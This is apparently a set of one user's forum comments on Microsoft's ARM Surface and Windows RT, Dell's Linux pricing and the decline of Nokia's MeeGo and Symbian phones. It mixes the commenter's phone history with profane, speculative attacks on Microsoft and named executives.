I held a grudge against John Wayne Gacy for a long time too. Yes, it's appropriate.

I'm not surprised at all. Michael Dell is used to having Balmer's cock "more than a comfortable depth" in his mouth. M$ got their tax and Balmer made him charge more just because it's Linux.

Mutated ARM processors to work with Windows just like Monsanto's Roundup Ready corn. It's about control of the market not advance in science. Looks like Microsoft is as evil as ever.

On: Apple CEO Likens Surface To Car That Flies, Floats

The ARM Surface isn't really designed to be a real product. In true Microsoft style it's job is two fold. First, to waste time and keep the M$ faithful from buying an iPad or Android tablet unti the Intel Version of the Surface is ready for production. Secondly, and even more importantly it will allow Microsoft to force ARM tablet manufacturers into paying the famous Microsoft Tax on all tablets they produce or face the wrath ans usual sanctions.

The developers, and "consumers" that buy Windows RT are just cannon fodder.

I was a Nokia Fanboi

On: The Story of Nokia MeeGo

I have had innumerable Nokia phones going back to the Radio Shack branded Nokia hand held in the 80's. I especially like Maemo. I have an N770, N800, N900, and an N9.

I have also had a lot of Symbian phones. the best being my N95, and the worst of all the N97. I have an N8 which is a nice phone with a great camera, and an N808 Pureview which is a great camera infected with Symbian Belle which is flaky as hell.

I won my N900 as a door prize at the chicago Nokia store launch. Wow!

I just bought a Nokia Asha 311 to play with, and at least Symbian S40 is stable. Actually Symbian S40 at 1Ghz is fucking awesome.

I think many here have it wrong. The N9 was beautiful and would have sold well if it had corporate support. I also think Microsoft's main goal is to contractually tie up Nokia, then drive the stock price to the basement and pick up bargin maps and patents. I think that was the plan all along.

Nokia was the last phone company to make the handsets for the customers. All the other make them for consumers with spyware and ad injected bloatware.

End of an ERA.
